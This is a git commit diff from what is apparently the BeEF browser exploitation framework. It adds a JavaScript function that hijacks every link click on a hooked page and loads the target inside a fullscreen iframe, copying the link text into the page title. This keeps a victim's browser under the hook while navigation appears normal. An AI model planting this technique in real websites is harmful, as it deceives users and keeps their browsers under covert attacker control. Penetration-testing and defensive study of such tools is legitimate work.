Created first draft of link persistance.

git-svn-id: https://beef.googlecode.com/svn/trunk@607 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
passbe
2010-12-15 10:07:04 +00:00
parent f2ea627f47
commit 72dcea2351

View File

@@ -54,7 +54,23 @@ beef.session = {
}
return hook_session_id;
},
/**
* Overrides each link, and creates an iframe (loading the href) instead of following the link
*/
persistant: function() {
$j('a').click(function(e) {
if ($j(this).attr('href') != '')
{
e.preventDefault();
beef.dom.createIframe('fullscreen', {}, $j(this).attr('href'));
$j(document).attr('title', $j(this).html());
}
});
}
};